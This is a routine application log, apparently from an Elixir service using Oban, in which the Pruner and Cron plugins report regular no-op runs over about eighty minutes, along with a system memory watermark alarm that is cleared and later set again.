22:11:39.096 [info] {"source":"oban","duration":3978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.972 [info] {"source":"oban","duration":1087,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:12:09.100 [info] {"source":"oban","duration":2839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:39.103 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.973 [info] {"source":"oban","duration":739,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:13:09.105 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:39.108 [info] {"source":"oban","duration":2502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.976 [info] {"source":"oban","duration":1035,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:14:09.110 [info] {"source":"oban","duration":1812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:39.113 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.977 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:15:09.115 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:39.117 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:01.003 [info] {"source":"oban","duration":25019,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:16:09.119 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:39.122 [info] {"source":"oban","duration":2438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.005 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:17:09.124 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:39.131 [info] {"source":"oban","duration":5479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.008 [info] {"source":"oban","duration":1212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:18:09.134 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:39.136 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.009 [info] {"source":"oban","duration":425,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:19:09.139 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:39.141 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.010 [info] {"source":"oban","duration":531,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:20:09.143 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:39.145 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.012 [info] {"source":"oban","duration":586,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:21:09.148 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:39.150 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.013 [info] {"source":"oban","duration":454,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:22:09.154 [info] {"source":"oban","duration":3104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:39.157 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.014 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:23:09.161 [info] {"source":"oban","duration":2465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:39.165 [info] {"source":"oban","duration":3512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.016 [info] {"source":"oban","duration":1052,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:24:09.167 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:39.169 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.017 [info] {"source":"oban","duration":476,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:25:09.240 [info] {"source":"oban","duration":45243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:39.242 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.019 [info] {"source":"oban","duration":840,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:26:09.244 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:39.246 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.020 [info] {"source":"oban","duration":619,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:27:09.248 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:39.250 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.022 [info] {"source":"oban","duration":1229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:28:09.253 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:39.255 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.024 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:29:09.257 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:39.260 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.026 [info] {"source":"oban","duration":1087,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:30:09.265 [info] {"source":"oban","duration":3597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:39.267 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.027 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:31:09.270 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:39.272 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.029 [info] {"source":"oban","duration":1213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:32:09.275 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:39.277 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.031 [info] {"source":"oban","duration":887,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:33:09.280 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:39.285 [info] {"source":"oban","duration":4113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.034 [info] {"source":"oban","duration":1847,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:34:09.287 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:39.289 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.035 [info] {"source":"oban","duration":540,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:35:09.292 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:39.295 [info] {"source":"oban","duration":2120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.037 [info] {"source":"oban","duration":828,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:36:09.297 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:17.924 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:36:39.301 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.039 [info] {"source":"oban","duration":763,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:37:09.305 [info] {"source":"oban","duration":3049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:39.307 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.040 [info] {"source":"oban","duration":649,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:38:09.310 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:39.312 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.042 [info] {"source":"oban","duration":474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:39:09.314 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:17.939 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:39:39.319 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.044 [info] {"source":"oban","duration":1115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:40:09.323 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:39.325 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.045 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:41:09.327 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:39.329 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.047 [info] {"source":"oban","duration":1539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:42:09.331 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:39.334 [info] {"source":"oban","duration":2710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.048 [info] {"source":"oban","duration":386,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:43:09.337 [info] {"source":"oban","duration":2659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:39.343 [info] {"source":"oban","duration":3796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.050 [info] {"source":"oban","duration":1471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:44:09.346 [info] {"source":"oban","duration":2197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:39.351 [info] {"source":"oban","duration":4499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.051 [info] {"source":"oban","duration":434,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:45:09.355 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:39.359 [info] {"source":"oban","duration":2681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.052 [info] {"source":"oban","duration":599,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:46:09.361 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:39.364 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.053 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:47:09.369 [info] {"source":"oban","duration":4049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:39.371 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.054 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:48:09.373 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:39.375 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.056 [info] {"source":"oban","duration":430,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:49:09.377 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:39.379 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.057 [info] {"source":"oban","duration":532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:50:09.382 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:39.385 [info] {"source":"oban","duration":1875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.058 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:51:09.388 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:39.390 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.059 [info] {"source":"oban","duration":652,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:52:09.394 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:39.396 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.060 [info] {"source":"oban","duration":698,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:53:09.399 [info] {"source":"oban","duration":2281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:39.402 [info] {"source":"oban","duration":2398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.062 [info] {"source":"oban","duration":677,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:54:09.405 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:39.408 [info] {"source":"oban","duration":2295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.064 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:55:09.410 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:39.412 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.065 [info] {"source":"oban","duration":483,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:56:09.414 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:39.416 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.066 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:57:09.418 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:39.420 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.068 [info] {"source":"oban","duration":1040,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:58:09.423 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:39.425 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.069 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:59:09.429 [info] {"source":"oban","duration":1991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:39.431 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.070 [info] {"source":"oban","duration":531,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:00:09.436 [info] {"source":"oban","duration":4262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:39.440 [info] {"source":"oban","duration":2625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.071 [info] {"source":"oban","duration":346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:01:09.443 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:39.445 [info] {"source":"oban","duration":1794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.073 [info] {"source":"oban","duration":1055,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:02:09.449 [info] {"source":"oban","duration":2684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:39.451 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.074 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:03:09.456 [info] {"source":"oban","duration":3873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:39.459 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.075 [info] {"source":"oban","duration":470,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:04:09.461 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:39.464 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.077 [info] {"source":"oban","duration":730,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:05:09.467 [info] {"source":"oban","duration":2005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:39.470 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.078 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:06:09.473 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:39.475 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.080 [info] {"source":"oban","duration":783,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:07:09.477 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:39.479 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.082 [info] {"source":"oban","duration":1143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:08:09.481 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:39.483 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.083 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:09:09.485 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:39.488 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.085 [info] {"source":"oban","duration":1253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:10:09.490 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:39.494 [info] {"source":"oban","duration":3217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.086 [info] {"source":"oban","duration":579,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:11:09.497 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:39.500 [info] {"source":"oban","duration":2155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.087 [info] {"source":"oban","duration":733,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:12:09.503 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:39.506 [info] {"source":"oban","duration":2766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.089 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:13:09.509 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:39.511 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.090 [info] {"source":"oban","duration":621,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:14:09.513 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:39.516 [info] {"source":"oban","duration":2378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.091 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:15:09.518 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:39.521 [info] {"source":"oban","duration":2725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.092 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:16:09.524 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:39.528 [info] {"source":"oban","duration":2864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.093 [info] {"source":"oban","duration":428,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:17:09.530 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:39.534 [info] {"source":"oban","duration":2636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.094 [info] {"source":"oban","duration":822,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:18:09.536 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:39.538 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.097 [info] {"source":"oban","duration":963,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:19:09.542 [info] {"source":"oban","duration":2330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:39.544 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.098 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:20:09.567 [info] {"source":"oban","duration":7310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:39.570 [info] {"source":"oban","duration":2707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.099 [info] {"source":"oban","duration":477,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:21:09.574 [info] {"source":"oban","duration":2433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:39.577 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.100 [info] {"source":"oban","duration":420,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:22:09.579 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:39.582 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.102 [info] {"source":"oban","duration":1241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:23:09.584 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:39.586 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.104 [info] {"source":"oban","duration":1270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:24:09.589 [info] {"source":"oban","duration":1926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:39.592 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.105 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:25:09.595 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:39.597 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.106 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:26:09.600 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:39.603 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.109 [info] {"source":"oban","duration":1967,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:27:09.605 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:39.608 [info] {"source":"oban","duration":2323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.110 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:28:09.614 [info] {"source":"oban","duration":4857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:39.616 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.111 [info] {"source":"oban","duration":641,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:29:09.619 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:39.621 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.114 [info] 